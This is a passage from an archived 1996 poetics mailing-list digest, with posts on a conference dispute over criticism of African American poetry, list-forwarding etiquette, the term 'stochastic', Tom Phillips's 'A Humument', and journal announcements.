> mentioned. I am a novice, maybe even an interloper, in your field, and I
> respect the feelings that are expressed by your remark about the two weeks.
> You are a professional in this area and you are entitled to feel a somewhat
> proprietary sense toward this academic specialty, African American poetry.
> > My own view is that outsiders sometimes manage to bring something
> distinctive and unsettling to academic specialties. For this reason, I
> repeatedly argue that the writing of poet-critics is of special value to us
> now that literary scholarship has become thoroughly dominated by academic
> criticism and interpretation, and I hope that my engagement as an American
> with East German literary and intellectual culture will be off the beaten
> track of the straight disciplines that have custodial and proprietary claims
> to the study of East German literature and culture.
> > But it is not the case that my advocacy of evaluative argument and close
> analysis of particular poems is properly characterized as the "strategies of
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> has been discredited, but not all close analysis and not all sustained
> evaluative argument have been discredited at the same time. I am not
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> Critical criteria--analysis of irony, tone, imagery, etc. My claim is
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> best for those poems, for the understanding and evaluation of those poems.
> Not to do this when an audience is gathered that can make a difference to
> the dissemination of such poets seems to me intellectually timid.

> >
> > Yours,
> >
> > Robert von
> Hallberg
> >

↑ Index

77. **Keith Tuma**
Re: Orono
Fri 5 Jul 1996

No, Maria, I hadn't asked Aldon if I might forward his comments. This is perhaps a lapse in list ethics on my part--if so, I apologize. Like many on this list, I've learned from Aldon, had useful exchanges private and otherwise with him, find him one of the best, friendliest folks in po-biz. So, sorry, Aldon, if you mind. But I expected that the exchange would be productive, and surely wouldn't send just any remark or a remark by just anybody (somebody I didn't or wouldn't necessarily expect to be willing to take on a particular conversation) to a person not a part of the list. And I would never send on a remark of the sort you allude to re your own situation. I know von Hallberg well-enough to know that he would respond to Aldon's commentary in a manner which would raise questions. What happened to you is regretful.

Nevertheless, I do think that some clarification of the parameters of our conversation here is needed--or perhaps I've missed them. The EPC archives are of course available to all interested computer users, and increasingly comments made on poetics are cited in various print venues. (A poetics note of mine, for instance, is cited in Jed Rasula's book; and I have no problem with that, though I was not asked for permission and I'm betting neither was the listowner.) I guess I take it that "private" applies first and foremost to the matter of informing people of the existence of this list. And that there, as elsewhere, some common sense and taste must factor into the decision to "spread the word." Beyond that I'm not sure how this list can be altogether private, but if i'm missing something I'll be happy to be clued in.

all best,
keith

↑ Index

78. William Marsh - 3809183
Re: stochastic
Fri 5 Jul 1996

I'm hunting down references to the term "stochastic" and wonder if anyone out there has come across it recently, especially in specific reference to writing/poetics. I came across it myself in an essay by Alan Davies, who evidently got it from Gregory Bateson's _Mind and Nature_ -- a stochastic sequence is one which "combines a random component with a selective process so that only certain outcomes of the random are allowed to endure."

Has anyone seen the term defined/applied more extensively?

Appreciate the help.

Bill Marsh
[redacted]

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79. Herb Levy
Re: stochastic
Fri 5 Jul 1996

In the mid & late sixties, the composers Iannis Xenakis & James Tenney used the term stochastic to describe works in which they set up a range of parameters about pitch, rhythm, relative density, etc. and then allowed a computer program to select the details. In this way they could control the overall texture of a piece, while allowing various random processes to fill in the details.

The term stochastic comes from a Greek root that has (I think) something to do with arrows or archery. The model here is that an archer tries to get a bull's eye each time, and over time, depending on the archer's skill, most arrows will be near the center of a target, but the actual trajectory & landing point of any specific arrow is not as clearly defined.

I don't know if either Tenney or Xenakis coined the expression, or if it had previous use in the fields of mathematics, cybernetics, etc.

Bests

H

> *I'm hunting down references to the term "stochastic" and wonder if anyone out there has come across it recently, especially in specific reference to writing/poetics. I came across it myself in an essay by Alan Davies, who evidently got it from Gregory Bateson's _Mind and Nature_ -- a stochastic sequence is one which "combines a random component with a selective process so that only certain outcomes of the random are allowed to*

> *endure."*
>
> *Has anyone seen the term defined/applied more extensively?*
>
> *Appreciate the help.*
>
> *Bill Marsh*
> [redacted]

Herb Levy
[redacted]

↑ Index

80. Christina Fairbank Chirot
Re: stochastic
Fri 5 Jul 1996

According to the OED, stochastic comes from the Greek, means "to aim at a mark, guess". "Pertaining to conjecture" The following from Ilya Prigine and Isabelle Stenger's Order Out of Chaos makes a conjunction of poetics with the stochastic--and if one thinks in terms of the relation of cave paintings, rock art and heiroglyphs to poetics in terms of "objects" and "sounds"and "images" in/out of time is most useful: It is hard to avoid the impression that the distinction between what exists in time, what is irreversible, and, on the other hand, what is outside of time, what is eternal, is at the origin of human symbolic activity. Indeed, one aspect of the transformation of a natural object, a stone, to an object of art is closely related to our impact on matter. Artistic activity breaks the temporal symmetry of the object. It leaves a mark that translates our temporal dissymmetry into the temporal dissymmetry of the object. Out of the reversible, nearly cyclic noise level in which we live arises music that is both stochastic and time-oriented (312). Highly recommend this book & appreciate connection made to music in previous note-- dave baptiste chirot (susan howe: "articulation of sound forms in time"--from schoenberg--but improvisation in Free jazz--check out New York Contemporary Five lps--Archie Shepp and Don Cherry--way to approach understanding chance in relation to form can be quite different when thought of in terms of collective improvisation--and so of "harmony of the spheres"--in relation to "chaos")(Don Cherry wrote "Relativity Suite")

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81. **Robert Drake**

Re: Stochastics

Fri 5 Jul 1996

Stochastic Languages

A stochastic language is a collection of strings
with a probability distribution defined on the set of
strings...

For a stochastic language it is required that the
sum of weights for all strings equals 1, making p a
probability function. Stochastic languages with
strings which has no upper limit on their length
constitute a special situation since the strings
will have a very small weight...

For infinite languages it is not feasible to check
whether the sum of probabilities equals one, simply
by adding the weights, since there will always
be strings of greater length representing a small part
of the total probability mass. In such a situation
it is required to obtain a model for the generation
process and perform a test equivalent to evaluate
its behaviour in the limit as the processing time
goes to infinity...

Stochastic languages are typically specified by
a stochastic automaton or a stochastic grammar. For
a given stochastic language there is a one-to-one
correspondence between the strings accepted by
the automaton and the strings generated by the
grammar meaning that both models can
accept/generate the same strings with identical
probabilities. Any string in a language can be
modelled correctly concerning its syntactic structure
by the corresponding automata/grammar but
probabilities might be assigned to a string in
such a way that none of the models can reproduce
strings with the correct probability...

Theorem: There are stochastic languages for which
no stochastic grammar or stochastic automata
can reproduce the correct probability for all the
individual strings in the language.

There are several explanations for this. As stated
[through the pumping lemmas loops...] the
derivation process can result in strings differing
from each other only on the number of repetitions
of a substring. The probabilities of such strings
will be dependent on each other, and they therefore
cannot take any arbitrarily probability. Furthermore
a string is the result of a sequence of derivation
steps, each with a predefined fixed probability.
Therefore the probabilities assigned to generated
strings, come from a discrete set of probabilities,
and this fact can conflict with the fact that a string
... can be assigned any value...

Due to the inference mechanism creating the
grammar the problem... is of no
real concern when using stochastic languages
for syntactic pattern recognition, and most other
applications. The grammar is typically inferred
from a finite set of learning samples, in such a way
that it is capable of generating a set of strings of
greater cardinality (possible countable infinite)
having identical syntactic structure. In such a
situation it is not relevant to maintain the exact
probability of individual strings in the learning samples.

after Jesper Gravgaard Jensen

for automaton read "poet"
for grammar read "poetics"
for string read "poem"
for stochastic language read "canon"

↑ Index

82. **maria damon**

Re: Orono

Sat 6 Jul 1996

In message <[redacted]> UB Poetics discussion
group writes:
> No, Maria, I hadn't asked Aldon if I might forward his comments. This is
> perhaps a lapse in list ethics on my part--if so, I apologize. Like many on
> this list, I've learned from Aldon, had useful exchanges private and
>...etc

okay keith, cool. good points all. i didn't realize we cd be cited in books w/out our permission. i'll have to start watching my tongue, my back, my mind and my fingers. bests, maria d

↑ Index

83. **maria damon**
Re: stochastic
Sat 6 Jul 1996

---

i heard the term "stochastic"" used by Julie Patton in her intro to her and Janice Loeb (sp?)'s performance at the Bob Kaufman celebration at the st mark's poetry projecct in april. she gave me the impression that there was an element of sound involved --what you mention below applied specifically to combining sounds. she and janice l read a kaufman poem --sang it, improvised it, playing off each other, simultaneously AND alternating. it was quite wonderfl and i wrote down the word "stochastic" as a result.--md

In message <[redacted]> UB Poetics discussion group
writes:
> I'm hunting down references to the term "stochastic" and wonder if anyone
> out there has come across it recently, especially in specific reference to
> writing/poetics. I came across it myself in an essay by Alan Davies, who
> evidently got it from Gregory Bateson's _Mind and Nature_ -- a stochastic
> sequence is one which "combines a random component with a selective
> process so that only certain outcomes of the random are allowed to
> endure."
>
> Has anyone seen the term defined/applied more extensively?
>
> Appreciate the help.
>
> Bill Marsh
> [redacted]

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84. **filch**
agitprop
Sat 6 Jul 1996

---

defined / applied

combines a random component with a selective
process so that only certain outcomes of the random are allowed to
endure

stochastic

a mark that translates our temporal dissymmetry into the temporal dissymmetry of the object

(possible countable infinite)

↑ Index

85. Paul Naylor
The Disappeared
Sat 6 Jul 1996

SEND
in%"[redacted]"
in%"[redacted]"

This is a somewhat late response to the comments about the "disappearance" of Irby, Enslin, and Tarn. For those interested in their recent work, you should check out Lee Chapman's journal, _First Intensity_. All three of those writers serve as editorial correspondents (along with Michael Boughn, Patrick Doud, Forrest Gander, John Moritz, Joe Napora, Susan Smith Nash, and Spencer Selby). Subscriptions are $17 for two issues, and you can contact Lee at P.O. Box 140713, Staten Island, New York, 10314-0713.

While I'm in the plugging mode, the new issue of _River City_ is out and about. The special topic this time is "The Caribbean: South of the South." Contents include a beautiful address by Kamau Brathwaite, "Note(s) on Caribbean Cosmology," new poems and an interview with M. Nourbese Philip, Wilson Harris' "Apprenticeship to the Furies," Aldon Nielsen on C.L.R. James, a section on women poets in the Caribbean. Also, Nathaniel Mackey on Miles Davis, and poems and fiction by Hank Lazer, Aldon Nielsen, Omar Castaneda, Claire Harris (a stunning long poem entitled "WOEMAN WOMB PRISONED"), etc. _River City_ sells for $7 per issue or $12 for two. Make checks out to The University of Memphis and send to:

River City
Department of English
463 Patterson Bldg.
The University of Memphis
Memphis, TN 38152

I'd also like to announce that our next issue, Winter 1997, will focus on the topic of Engendering Culture; submissions on that topic -- whether poetry, fiction, critical writing -- can be sent to the same address.

Paul Naylor
SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

86. Charles Alexander
Re: Another ethnic group
Sat 6 Jul 1996

> *If one were so foolish as to try to describe contemporary Native American poetries briefly, what would that description be, and what names would be attached?*
>
> *No, I'm not giving a course, and do have other sources (Haskell Indian Nations University is down the road a short piece), but I'm curious what members of this list would say.*

Mostly I wouldn't be so foolish. But one thing I would be careful about is that adjective "contemporary." For me, it would have to include works from the oral tradition, which are still living, therefore "contemporary." And many of these works are subject to contemporary variations. Too often (although I think this has changed somewhat in the last couple of decades) the oral traditions have been treated as past, as relics. In many cultures they are decidedly not so. Some of the primary work in this regard has been done by Larry Evers through the Sun Tracks series at the University of Arizona Press, and to my mind some of the very best of that is the work with Yaqui oral traditions Evers has done in collaboration with Felipe S. Molina, himself a Yaqui singer.

But this is just one part of a huge story.

good luck,

charles

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87. Joe Amato
Re: Orono
Sat 6 Jul 1996

ok, i guess i have to add something here, grinch-like, that is *not* intended primarily as a rebuke to anybody per se, but is essentially a comment about how this list stuff works:

i don't like it that keith had to forward comments to the list from robert von hallberg... that is, i'm sure keith was willing to do so, and it's a settled issue as i

see it at the level of propriety... but i'm talking instead about relative visibilities, and about how lists work... and my carp here has to do, for one, with why robert von hallberg (and others who occupy a visible, even 'senior' position in our profession) are generally not to be found in these regions...

sure, we on poetics enjoy the presence of some folks who are well-known---kudos to these latter for their willingness to mix it up (i won't name names for fear of not naming all the names)... but for some years now, i've noticed the online absence of some of the better-known academics, all of whom have done quite well in print, many of whom are continually referenced in online discussion... that is, part of the explanation has always seemed to me to have to do with why bother? logic... or i don't have the time logic b/c i'm already getting published in print logic... or the real debate is over there logic so (again) why bother? logic...

things are changing, to be sure... yet i'd still argue this absence is felt...

in short: though there is, as has been discussed, nothing at all wrong with forwarding comments hither & thither (with due allowance made for variations between public and private and permissions pertaining thereto), i would nonetheless like to go on record here (and anybody who wishes to, btw, can quote anything i say anywhere, but please do let me know if you do so) as saying that we need not only more access for folks without access, but we need our senior folks, or at least our more visible folks, to take the plunge...

to wit: i'd like to think that robert von hallberg is now subbed to poetics... and if he doesn't know how to, i'd like to think he's asking somebody... b/c i don't think his outsider-insider status (at this moment, anyway, wrt this list) is a good place from which to enter into discussion with this network community, or one of its members...

he can of course, like all of us, unsub at any time... but it's fair to ask him, and others, to sub to the list if they'd like to be part of the discussion (assuming they have the technical capabilities to do so)... otherwise, i'm left feeling as though i'm 'witnessing' an exchange w/o really being invited to contribute to same (which is decidedly *not* what lurking is about, either), with one participant offering tidbits from over yonder someplace while he goes about his 'real' business... which is, i understand, not at all intended, but which is nonetheless one effect this sort of forwarding/distancing can produce... and since most on this list know just how talky i can be, most will understand me when i say that i'm feeling a bit uncomfortable at the moment...

best,

joe

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88. Burt Kimmelman
New Magazine
Sat 6 Jul 1996

I have been sent a really lovely and rich magazine called "Object Lesson." How to describe it? It is multi-media pre-electronic: art and all kinds of verse (multi-textual I guess) including many insets of smaller "books" and envelopes full of all kinds of juicy things.

The editor, Joshua Beckman, was put on to me by Alex Cigale, and some of you may know his terrific magazine Synaesthetic (based on the found art/poem concept). Beckman writes about his planned next issue: "the next issue will include essays on poetry machines. Everyting from Bob Brown's *Readies* to personal essays on typewriters and tape recorders [yes, believe or not, folks, Beckman does not have e-mail and one might guess from this above remark that he might not own a computer--but i urge you not to be put off by this!]. The idea being to awaken the notions of mechanics that are embedded in the creation of poetry and to broaden the definition of what a machine can be, especially to a writer. I want to have the essays on everything from 'the corporate machine' to 'the influencing machine', so that the idea of the typewriter and the author end up too confused to untangle. At the same time, I hope to have work that simply praises the different tools of the trade and inspires a curiosity towards the reader's poetry and poetry machines."

Now, I would think that if you of, say, the Chris Funkhauserian persuasion, then you might want to think about sending Beckman something anyway.

Send to:
Joshua Saul Beckman, Editor
OBJECT LESSON
630 Wickenden St.
Providence, RI 02903
(401) 453 - 5146

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89. Ward Tietz
A Humument
Sat 6 Jul 1996

Does anybody know of any criticism written on Tom Phillips' "A Humument"?

Thanks,

Ward Tietz

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90. Herb Levy
Re: A Humument
Sat 6 Jul 1996

Ward Tietz writes:

> *Does anybody know of any criticism written on Tom Phillips' "A Humument"?*

There was a very good special issue of the Canadian magazine Open Letters entitled "Between Poetry & Painting" that focused on Joe Tilson, Ian Tyson, & Tom Phillips. It was fourth series, #1&2, Summer 1978. This includes lots of good stuff: an interview by Kevin Powers (who interviewed each of the featured artists) & articles by Phillips, composer Gavin Bryars, David Bindman, Nicholas Zurbrugg, David Bindman, & others.

There's also a piece in Heather McHugh's book of essays Broken English about the work.

I'd love to know of any other things people know about too.

Herb Levy
[redacted]

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91. Steven Howard Shoemaker
age of speleological reproduction
Sat 6 Jul 1996

I've just read an account in the latest Discover about some tablets that have just been found in caves near Beijing. Apparently, around 605 A.D. a Buddhist monk named Jingwan decided that the only way to save the the Buddhist scriptures from hostile Chinese emperors was to chisel them in stone. Over generations, the monks of the Yunju monastery carried out the project, bringing it to completion a millenium later, around 1644, having used 14,278 tablets. They hid the tablets in nine caves, and only the locals knew about them until recently, when a farmer showed them to Josef Guter, a German China specialist. Guter says: "The most important aspect of this discovery is that we have on stone the whole canon of Buddhism in 35 million Chinese characters written over 1,039, and that it has survived WW II and the Cultural Revolution. Its study will be in the hands of generations of men and women in many disciplines of cultural history."

What a textual project! Fascinating to me along many lines, one of them being that it is probably the ultimate example of the potential for atom-based textual preservation--making words as *solid* as possible. At at the other extreme, one might undertake the bit-based strategem of digitizing a text and then

distributing it as widely or carefully as possible, making it nearly immaterial but pervasive? And actually, that question is directly relevant: what will happen to the texts now? Paradoxically, as soon as they are discovered, as soon as they have readers, they are endangered... steve

↑ Index

92. Steven Howard Shoemaker

Re: stochastic

Sat 6 Jul 1996

Strangely, when i made my post about speleological reproduction, I hadn't yet read Christina's post below. Interesting synchronicity.

I wonder if Clayton Eshleman has his tickets booked for Beijing yet?

steve

> *According to the OED, stochastic comes from the Greek, means "to aim at a mark, guess". "Pertaining to conjecture"*
>
> *The following from Ilya Prigine and Isabelle Stenger's Order Out of Chaos makes a conjunction of poetics with the stochastic--and if one thinks in terms of the relation of cave paintings, rock art and heiroglyphs to poetics in terms of "objects" and "sounds"and "images" in/out of time is most useful:*
>
> *It is hard to avoid the impression that the distinction between what exists in time, what is irreversible, and, on the other hand, what is outside of time, what is eternal, is at the origin of human symbolic activity. Indeed, one aspect of the transformation of a natural object, a stone, to an object of art is closely related to our impact on matter. Artistic activity breaks the temporal symmetry of the object. It leaves a mark that translates our temporal dissymmetry into the temporal dissymmetry of the object. Out of the reversible, nearly cyclic noise level in which we live arises music that is both stochastic and time-oriented (312).*
>
> *Highly recommend this book & appreciate connection made to music in previous note--*
>
> *dave baptiste chirot*
>
> *(susan howe: "articulation of sound forms in time"--from schoenberg--but improvisation in Free jazz--check out New York Contemporary Five lps--Archie Shepp and Don Cherry--way to approach understanding chance in relation to form can be quite different when thought of in terms of collective improvisation--and so of "harmony of the spheres"--in relation to "chaos")(Don Cherry wrote "Relativity Suite")*

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93. Charles Alexander
Re: A Humument
Sat 6 Jul 1996

I would also be interested in the answer to this. I once curated an exhibition at Minnesota Center for Book Arts in which some of the original page/paintings of A Humument were included, borrowed from the Ruth & Marvin Sackner Archive for Concrete & Experimental Poetry. Perhaps Ruth or Marvin Sackner would know the answer, but I don't think either is on this list. I will forward the question to a book arts list and see if it stirs up any answers there.

charles

> *Ward Tietz writes:*
>
> *Does anybody know of any criticism written on Tom Phillips' "A Humument"?*
>
> *There was a very good special issue of the Canadian magazine Open Letters entitled "Between Poetry & Painting" that focused on Joe Tilson, Ian Tyson, & Tom Phillips. It was fourth series, #1&2, Summer 1978. This includes lots of good stuff: an interview by Kevin Powers (who interviewed each of the featured artists) & articles by Phillips, composer Gavin Bryars, David Bindman, Nicholas Zurbrugg, David Bindman, & others.*
>
> *There's also a piece in Heather McHugh's book of essays Broken English about the work.*
>
> *I'd love to know of any other things people know about too.*
>
> *Herb Levy*
> [redacted]

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94. Charles Alexander
journal praise
Sat 6 Jul 1996

Seeing the interest in criticism of Tom Phillips's, and thinking of works in which literature becomes physical (visual & otherwise) made me want to put in a word of praise for the new issue of Chain (vol. 3, part 1, I believe). There are many genre- & some gender-bending works, and enough of works which extend the literary into an other space (conceptual, visual, etc.) as to not make of such works "the exception." It's the first journal in a long time (despite several other

fine ones) I have read cover to cover and continually been amazed by. Already I find myself planning activities or works or publication projects partly influenced by works therein.

Thanks very much to Juliana Spahr & Jena Osman for the fine editorial work.

charles

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95. James Brook
jakob van hoddis?
Sat 6 Jul 1996

Anyone know of translations of the poems and other writings by Jakob Van Hoddis, an early German Expressionist? Or articles about him, especially with biographical information? The only thing I've found in English is a brief entry in Twentieth-Century German Verse edited by Patrick Bridgewater (Penguin 1968) and two poems.

Thanks,

James Brook

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96. Michelle Roberts
Re: post language poetry, post modernist poetry, fakes
Sat 6 Jul 1996

This is me being a bumb bunny, but could any one offer me a quick definition of "the new sentence'? I read it a post on this thread and would like to get a grip on the concept.

Any hints appreciated,
Meaghan

Meaghan Roberts
Ph.D. Candidate - Ethics and Literature
The University of Texas at Dallas
[redacted]

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97. Gabrielle Welford
Ougarit (fwd)
Sat 6 Jul 1996

Thought someone must be interested in seeing this. Gab.

---------- Forwarded message ----------
Ce courrier que j'ai recopié intégralement était joint au premier exemplaire de la revue Ougarit éditée en Palestine et que je vous laisse découvrir :

Madame, monsieur,

Nous avons le plaisir de vous présenter la revue litéraire et artistique 'Ougarit', réalisée par un groupe de jeunes artistes de différentes disciplines (littérature, arts graphiques, cinéma, théatre, musique) et publiée à Ramallah (Palestine).

Pourquoi cette revue? Tout d'abord parceque nous sommes convaincus qu'il est essentiel aujourd'hui de créer un espace pour un dialogue artistique interdisciplinaire, un lieu d'échange où puissent se rencontrer et confronter les nouveaux courants et les nouvelles visions artistiques et intellectuelles à l'oeuvre dans la société palestinienne.

En effet, les nouvelles réalités que nous vivons actuellement ont ammené un boulversement des anciennes cartes intellectuelles et mentales qui, en se redistribuant et se redéfinissant, cèdent la place à de nouvelles cartes, à de nouveaux horizons. Cette période "troublée" est en même temps le foyer d'un bouillonnement culturel et artistique dont témoigne l'émergence, dans différents domaines, d'oeuvres de grande qualité, même si certainesen sont encore à un stade "expérimental".

Aussi sentons-nous l'urgence de créer un/ des forum/s pour que ces nouvelles visions en mouvement puissent se rencontrer, se rassembler, mais aussi être fertilisées par un plus grand contact avec des courants qui se développent à l'étranger et desquels nous avons si longtemps étés coupés.

C'est pourquoi le comité de rédaction, composé de jeunes artistes impliqués activement dans la création d'une nouvelle culture palestinienne, espère par cet envoi initier un échange fructueux avec ceux qui, d'une rive à l'autre de la méditerranée, ainsi que dans d'autres régions du Monde, souhaitent entamer un dialogue culturel autour de leur vision de l'art, de sa place et de son rôle. Nous serons heureux d'accueillir les articles, travaux littéraires, recherches etc... d'intellectuels désireux d'apporter leur contribution en partageant une vision novatrice.

Nous espérons une édition semestrielle, la présentation en sera améliorée, la forme actuelle (en particulier l'absence de table des matières et le désordre de certains textes) n'étant certes pas due à notre volontée mais aux conséquences du bouclage imposé aux territoires palestinniens pendant la période de son impressio.

En vous souhaitant une bonne lecture, nous vous prions d'agréer Madame, Monsieur, l'expression de nos sentiments chaleureux.

Le comité de rédaction.

Ougarit
c/o Hussein BARGHOUTHI
Cultural Studies Department
Bir Zeit University
P.O.BOX 14 - Bir Zeit
Palestine
fax : (972 2) 995 78 10 ou (972 2) 995 76 56

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98. Tenney Nathanson
Chain unchained?
Sun 7 Jul 1996

> *Date: Sat, 6 Jul 1996 16:39:19 -0500*
> *From: Charles Alexander <[redacted]>*
> *Subject: journal praise*
>
> *Seeing the interest in criticism of Tom Phillips's, and thinking of works in which literature becomes physical (visual & otherwise) made me want to put in a word of praise for the new issue of Chain (vol. 3, part 1, I believe). There are many genre- & some gender-bending works, and enough of works which extend the literary into an other space (conceptual, visual, etc.) as to not make of such works "the exception." It's the first journal in a long time (despite several other fine ones) I have read cover to cover and continually been amazed by. Already I find myself planning activities or works or publication projects partly influenced by works therein.*
>
> *Thanks very much to Juliana Spahr & Jena Osman for the fine editorial work.*
>
> *charles*

could Juliana or someone post an order-from address for this issue? Plus how-to (email? snailmail? etc)

hi Charles!

get ready, it's HOT here!

Tenney

↑ Index

99. Aldon L. Nielsen

Re: here's another fine mess . . .

Sun 7 Jul 1996

Keith did not ask my permission to forward my report to Robert, nor do I feel in any way that permission was required. But now some slippage has happened that does bother me. As you will note at the beginning of Robert's message, addressed to me, he says that he is sending it directly to me prior to posting elsewhere. I believed that this meant we were to have some discussion between ourselves. I posted a quick response to Robert and requested that, should he decide to place his message in a public place, my response go along with it and thqat I be informed where it went. I also offered to continue the discussion in private.

It may be that Keith misunderstood the timing and forwarded the post too soon, or it could be that what I took to be a direct post to me was already posted in public. I will copy this to Robert in hopes of getting an answer.

When I get a chance I will also forward my initial response to this list. In the meantime I want to point out a few things that I think bear rather directly on Robert's reasonable sounding message.

There is a tape recording of the panel to which Robert responded. The tape is available to Robert on his request. I do not believe that I in fact have misrepresented his comments at the panel (though perhaps "tirade" was a little strong on my part) and there are any number of people on the list who were also at the session and may recall the conversation.

Here is one example. In Robert's message, after complaining that I have misrepresented his comments, he writes: "My objection is not at all to the use of sociology or sociological analysis un literary history or criticism . . ." In his recorded comments he said, "When we do the sociology thing it comes out real simple." I will leave it to you to decide which of us has represented the facts of the discussion more accurately.

This is important to me because, you may recall, one of my complaints about Robert's commentary was that he had decontextualized the papers to which he was responding. In this way he wound up, in response to a paper that argued that poets had been excluded BECAUSE of their racial identity from anthologies etc., stating that the paper argued for including poets based upon their representation of identity formations.

I will confess to having been angered, and I will cop to having gone a bit overboard in my subsequent comments about sociology. However, the fact that a good portion of Robert's message responds to arguments that were not made by

me, and that were not part of my original post, should prompt a certain caution here.

And that is not a Freudian typo up there -- Robert said "in" not "un" literary . . .

As I said, I will forward this to Robert, and I will post here the reponse I sent to him that has not accompanied his message. After that it's pretty much up to Robert if there is any more on this subject --

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100. Aldon L. Nielsen
Re: Orono (fwd)
Sun 7 Jul 1996

Here is my response to Robert's message, made before I knew that his message was already on the poetics list. Only note I would add here is that it was Don Wellman who first raises the issue of performative criteria, not Hank Lazer -- Hank raised the issue as a question as we were standing around the podium afterwards --

Have now also read Joe Amato's note on this -- I know that Joe is out of town now, but I want everybody else to feel perfectly free to jump in on the issues involved -- Since Robert felt that I had misrepresented his remarks, I thought it important first of all to state that I had reviewed his remarks carefully -- I am now more than ready to move on to possibly useful discussions of some of the other issues raised in this episode --

And by the way, if anybody on the list whose paper or comments I described in my report feels I have been inaacurate about anything, let me hear about it --

---------- Forwarded message ----------
Date: Sat, 6 Jul 1996 11:02:24 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: robert von hallberg <[redacted]>
Subject: Re: Orono

I will respond at greater length later (am on my way to family meetings at the moment) but here are a few VERY quick comments --

First of all, I would be careful about stating that I have misrepresented your remarks. (excuse the oddness of that sentence please; I, of course, would not have made the remarks) You did in fact include a reference to my opening comments about the number of papers at the beginning of your commentary. Perhaps you did not notice the tape recorder that was on the table in front of you. I responded directly to that comment as I felt I could appropriately speak of that which had been directed to my own remarks. If it becomes necessary in

the course of public discussions, I will ask your permission to post a transcription of the commentary and will supply you with a copy of the tape. The remark about "badness" is off the tape. As we discussed these issues after the panel broke up, you did in fact say to me that the poems discussed were "bad poems." You will perhaps remember that I told you I would not argue with you then and there over the particular qualities of the poems cited for the simple reason that, in the case of "Montage," I didn't happen to like the poem all that much anyway. My arguments with you were not so much about the value of individual poems as about your mode of address (and the amount of the time it took.)

Now for a few quick matters that are more important to me, but have less to do with what one or the other of us actually did or did not say. (Again, I will gladly supply you with the tape if you wish to be certain about quotations.)

It is true that some people argue that a different mode of critique is required for poems such as "Montage," and I would agree with you that IF that is the case, then we should get down to the business of laying out what we think such an aesthetic might entail. However, please recall that I made no such argument to you on the day in question. Hank Lazer and, I believe, Jerome Rothenberg made a few comments on the need for a "performative" mode of critique as we were standing around debating afterwards. But as we go on with ouur own disucssions, please bear in mind that this is not an argument that I make. I believe that "performative" modes of critique are appropriate for forms of performance. I think it condescending to argue that Hughes has to be read by some other criteria of performance (when we're talking about poems on the page at least) than, say, Hayden.

When I refer in my posts to strategies of the old New critics, I am not speaking of their techniques of close reading, which I continue to use. I was speaking of the strategies used to dismiss black poets in the 403, 50s and 60s. In my other telegraphic reports of Orono (Did Keith in fact send you all of it, or just the part about that panel?) I mentioned an infamous review of Brooks by Simpson. Better examples might be Tate's various responses to African-American poets. What I was getting at in my all too short hand (and perhaps even short sighted) way was that a thorough and close reading of the history of American criticism of African-American poets turns up numerous instances of this same set of remarks being directed to similar panels and critical efforts. I in fact not only welcome close readings of black poets, I produce them from time to time. Mu complaint about your complaint was that you seemed to be ruling out other efforts that I feel are worthwhile and needed --

For example, if I agreed with what you said about the first paper (and I have much to dislike about that paper on entirely other grounds) I would be hard pressed to see much use in Alan Goldings work on anthologies, work that I find

useful. If we did not make such arguments, the Heath and Norton would probably not have changed much at all. I believe they have not changed enough, and so I continue to make such arguments.

The word "interloper" does not in any way represent my view. I do indeed believe that any field of criticism is likely to benefit from interventions from well-informed critics who have worked primarily in other fields. I'm not sure what the term "outside" would even mean in this context. BUT, I have to admit amazement at part of our post-session (and therefore post-tape) exchange. When we were discussing the fact that numerous conferences, articles, books etc. were devoted to precisely the sorts of readings you called for, you indicated to me that you did not read journals such as _CLA_, _Callaloo_, _AAR_ etc., because, as you put it, you "can't be an expert in every field." Now, I hardly expect such expertise from anybody, including myself, but I found that a renarkable statement to come from somebody who had just delivered a keynote address on Robert Hayden. I wouldn;t put too much weight on this part of our exchange, as it's not part of the issues you have raised in your post to me, but I am trying to communicate something to you about how certain of your remarks must sound to people, perhaps without your meaning to sound objectionable.

(by the way, I am away from my office for an extended period, and the machine I am using does not allow me to back up and correct typographical errors. I am no typist, so please be forgiving of oddities of spelling, punctuation, spacing etc.)

Again, there is much else we could argue about. (For instance, the phrase "sociology thing" is yours, not mine. -- And I remain puzzled by your remarks about the importance (or lack thereof) of looking at Pound's contacts with black culture (doesn't all that Frobenious weigh on your mind for something?)

It's probably never a good thing to put too much weight upon post-panel discussions. The reason that I tape panels I am a part of is that I hope to get suggestions for further research, new abgles to explore, etc. What angered me that day (and I suppose I am still a bit angry about it) is that you did not ask a question, nor did you offer your comments in a way directed specifically to elements of the papers that might help their authors (or even me) to improve the work in hand. You did tell the panel that they were being reductive, that they were lending themselves to identity politics, etc. If I might take a cue from your own comments, I think you would be far more likely to achieve the result you seem to have aimed at by engaging directly with an element of the readings about which one might argue prodcutively. I suspect that any of us who present a paper of 20 minutes on such topics (or even an address of 40 minutes?) might accurately be accused of being reductive. On the other hand, I do not believe it truly is reductive to examine the history of race and anthologizing or race &

criticism -- You appeared to me to go past arguing that the papers had failed in a specific way in the tasks they had undertaken to argue that the tasks they had undertaken shouldn't be undertaken. If I am misreading you on that point, I'm ready to be set straight.

I hope you will remember too that as we left the room I said to you that I felt comfortable having such an argument with you because I thought we could listen to one another (perhaps even mishear one another) and still get somewhere -- whereas I feel there is simply no point in my having such an argument with Louis Simpson. I do not mean by this that I believe you will eventually see things my way, but that I have much to learn from arguing these points with you.

But, as I keep telling my graduate students, we have to look at the same text before we can argue about our interpretations of it.

I am responding directly to you, in private, to the extent that any email is private. If you decide to post your message to me in any public place, please post this with it and let me know where it went. I have much more to say if we are going to debate in public. I have more to say, but perhaps in a happier tone, if we discuss this between ourselves.

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101. Christopher K. Whipple
poetry performance
Sun 7 Jul 1996

I am hoping for some help from this group.

I am putting together a season of performed poetry.

The premise is that there is a superabundance of miraculous poetry out there; but for some reason it's not read publicly. My idea is to have trained actors read this great poetry. Who better to bring out the pacing, movement, and prosodic effects of these taught language dramas?

The performances will fall somewhere between reading and theater. The season will be a four part sequence of themes, running 1) Soviet Poetry; 2)Poets of WWI; 3) Victorian Dramatic Monologues, and 4) Contemporary Poetry.

I am going to use public (coffee house) readings as a rehearsal/development process for the fully staged perfomances.

I'm most interested in getting help on the WWI poets right now. The poets I have so far are Wilfred Owen (of course), Seigfreid Sassoon, Ivor Gurney, Isaac Rosenberg, e.e. cummings, Ernest Hemingway, Rupert Brooke, Edward Thomas and David Jones. Am I missing anyone? Can anyone lead me to some lesser

